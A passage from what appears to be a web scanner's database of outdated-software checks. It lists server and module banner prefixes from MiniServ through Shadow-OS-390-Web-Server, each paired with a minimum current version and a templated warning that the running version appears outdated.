@CURRENT_VER)" "MiniServ/","MiniServ/0.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Minstrel-httpd/","2.0.g","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Miranda Web/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MirandaWeb/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mirapoint/","3.5.4-GR","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Miwok/","1.618","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_accel/","1.0.34","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_accessref/","1.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_accounting/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_adu/","cu_1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_advert/","1.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_antihak/","0.3.1-beta","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_attach/","0.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_ascauth/","1.1-Basic","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_birdview/","1.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_cutoken/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_external/","2.2.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_ianus/","3.0.9rc1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_inst.c/","19980202","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_ip/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_kerb/","5.0-rc6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_ldap/","2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_mda/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_mysql/","2.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_nds/","0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_notes/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_ns/","0.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_nt/","1.3.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_ntdom/","0.4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_ora7/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_ora8/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_oracle/","0.5.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_pam_external/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_pam/","1.1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_passthrough/","1.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_pgsql_sys/","0.9.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_pgsql/","2.0.2b1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_pop3/","0.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_radius/","1.5.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_remote/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_shadow/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_sspi/","1.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_auth_tkt/","2.0.0rc1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_authserv_userdir/","asam1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_backhand/","1.2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_bandwidth/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_become/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_bigwig/","2.0-15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_blosxom/","0.05","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_bluestem/","0.14","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_bwlimited/","1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_bwprotect/","0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_bwshare/","0.1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_cap/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_catax/","4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_cgi_sugid/","1.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_choke/","0.06","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_chroot/","0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_clickthru/","0.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_czech/","3.1.1b2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_deflate/","1.0.21","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_demonstrans/","0.3.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_dp/","lk.0.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_dtcl/","mod_dtcl/0.5.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_fastcgi/","2.4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_filter/","1.4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_frontpage/","4.0.4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_gzip/","2.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_id/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_imode/","1.0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_index_rss/","1.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_interchange/","1.29","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_ipdrop/","0.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_ipw/","0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_jk/","1.2.25","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_jk2/","2.0.5-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mod_JServ/","1.1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_layout/","4.0.1a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_ldap_userdir/","1.1.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_lisp/","2.35","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_log_byte/","0.001","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_log_bytes/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_loopback/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_macro/","1.1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_mcrypt/","2.4.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_mirror/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_mono/","1.2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_mp3/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_mp3idver/","0.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_mundinteractivos/","2.1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_mya/","3.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_mylo/","0\.2\.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_nsn/","1.0_0-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_oas/","5.1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mod_OOiS/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_oprocmgr/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_pcgi2/","2.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_perl/","5.8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_plsql/","3.0.9.8.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_pointer/","0.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_protection/","0.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_psoft_traffic/","0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_pubcookie/","3.3.2c","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_pubcookie/a5/","1.77.2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_python/","3.3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_random/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_rbcban/","2.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_rdbcookie/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_relocate/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_repository/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_require_host/","2.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_roaming/","2.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_rpaf/","0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_rsawebagent/","5.2.0[111]","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_ruby/","1.2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_scgi/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mod_security/","1.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_sleep/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_snmp/","1.3.6.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_spidercache/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_ssl/","2.8.30","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER) (may depend on server version)" "mod_sugid_files/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_survey/","3.0.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_suspend/","0.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_tagx/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_tcl/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_text2html/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_throttle/","3.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_trigger/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_tsunami/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_uwa/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_vdbh/","1.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_vhost_ldap/","1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_vhost_mysql/","0.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_view/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_virgule/","1.41","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_virtual/","0.97.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_watch/","4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_webapp/","1.2.0-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_webkit/","0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_webkit2/","0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_websh/","3.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_wodan/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod_xslt/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "mod-xslt/","1.3.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ModLayout/","4.0.2a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ModNeva/","2.0.b","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Monkey/","0.9.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mono-XSP Server\/","1.0.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mono-XSPServer\/","1.0.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MontaVistaLinux/","2.1UPnP","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MortBay-Jetty-","2.3.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MS-MFC-HttpSvr/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MSIWB/","MSIWB/1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MTransit2/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Mya/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "MyWebServer/","1.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NaviServer/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NCSA-CRC+/","1.4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NCSA/","1.5.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NDCAP/","2.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NeoWebScript/","3.3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NetApp/","7.1P3D1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NetApp/build.","RbecksN_000805_0805.000805_0940","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NetCache appliance \(NetApp\/","6.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NetEVI/","3.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NetPhantom/","3.61","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NetPresenz/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NetPublisher/","1.10.020","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Netrox-Apache/","1.3.24","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Netscape-Administrator/","3.54","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Netscape-Brew/","6.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Netscape-Commerce/","1.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Netscape-Communications/","1.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Netscape-Enterprise/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Netscape-FastTrack/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Netscape-Proxy/","3.52","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NetWare-Enterprise-Web-Server/","5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NetZoom","1.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ngd/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "nginx/","0.5.31","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Niagara Web Server/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NiagaraWebServer/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NIS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Nitix/","4.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Novell-HTTP-Server/","3.1R1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NS_","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Nucleus\/","4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NUD/","3.9.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NULLhttpd/","0.5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "NYSED-A-Series/","2.0X","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "OAS/","4.57","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "OFIWebServer","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "OmniHTTPd/","2.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "OmniSecure/","3.0a3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Open-Market-Secure-WebServer/","V2.1.","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Open-Market-Secure-WebServerGlobal/","2.0.10.RC0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Open-Market-SecureLink-Bridge/","V2.1.RC0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "OpenSA/","1.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "openssl/","0.9.8f","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER) (may depend on server version)" "oplweb/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle HTTP Server Powered by Apache/","1.3.22","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle_Web_Listener_NT_","2.1.0.3.1/1.20in2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle_Web_Listener/","4.0.8.2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle_Web_listener2.1/","1.20in2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle_Web_listener3.0.2.0.0/","2.14FC1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle_Web_listener3.0/","2.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle_WebDb_Listener/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle-Application-Server-10g/","10.1.3.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle9iAS ","(9.0.3.0.0) Containers for J2EE","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle9iAS-Web-Cache/","9.0.4.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle9iAS/","9.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Oracle9i Enterprise Edition Release ","9.2.0.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "OracleAS-Web-Cache-10g/","9.0.4.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Orion/","2.0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "OSDK/","2.0.44","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "OSU/","3.10a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "OWW/","29.3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Pack/","1.0-ea1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PaintChatHTTP/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Patchy/","1.3.28","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PBFilter/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PCGI/","2.0a5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Perl/","v5.8.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PersonalNetFinder/","1.0 ID/ACGI","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PEWG/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Phantom/","2.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PHP-CGI/","0.1b","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PHP/","5.2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PHP/FI-","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PI/","7.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Pi3Web/","1.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "pks_www/","0.9.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "plex/","9.5.2a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "plexus/","3.0m","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Polycom-WS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Pow Web/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PowerDynamo Personal Web Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PoweredByIISBanner/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PowerWeb/","4.05r5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PowWeb/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Pramati Server/","5.0 SP3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PRINT_SERVER WEB ","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ProfiHost.com/","1.3.28","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Protocol ","1.99; Server OpenSSH_2.1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "proxy_html/","2.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "prxp_module/","1.9.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "prxp_solo/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Purveyor / ","v1.2 Windows NT","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Purveyor Encrypt Export/","v2.0-1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Purveyor/","v1.3.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PWPWEB/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PWS/","3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PWSERV-","65","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "PyApache/","4.19","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Python/","2.4.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "QTSS/","4.1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "QuantumCorporation./","3.4.790","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "query/","1.16.83","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Quid Pro Quo/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "QuidProQuo/","2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RAID HTTP Server/","1.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RAIDHTTPServer/","1.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Rapid Logic/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RapidLogic/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Rapidsite/Apa/","1.3.27","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RAQdevil/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Rational_Web_Platform/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RCS/","3000","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RealVNC/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Red-Hat-Secure/","3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RedHat/","3022","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RedirServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Redline Networks Accelerator ","2.3.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "REMTEK/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RENSRV/v","8.43","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Replicon Web Time Sheet/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RepliconWebTimeSheet/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Replique/v","0.2.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Report Server/","3.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Resin/","3.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "rewrit/","1.1a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "rewrite/","3.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Rex/","9.0.0.2980","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "REXX_SOCKETS/","3.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "REXX/","4.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RMSWebServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "RomPager/","4.07","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Roxen/","4.0.425-release5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Roxen·Challenger/","1.3.126","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Ruby/","1.8.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "rus/","PL30.22","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "rwh/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "S.u.S.E./","6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Sambar/","Sambar/5.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SAPJ2EEEngine/","7.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SAPOttpd/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Savant/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SDD/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Secure/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "secured_by_Covalent/","1.6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "secured_by_Raven/","1.5.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SecureEntry/","0.1.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SecureTransport/","4.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SecureTransport/","4.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "SEDWebserver/","1.3.26","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Seed/","4103c","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Serv-U ","v2.5j","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Server:Apache/","1.2b7-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Server/","10.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Servertec-IWS/","1.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Service admin/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Servlet/","2.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ServletExec/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "ServletExecAS/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "Shadow-OS-390-Web-Server/","04.08.01","@RUNNING_VER appears to be 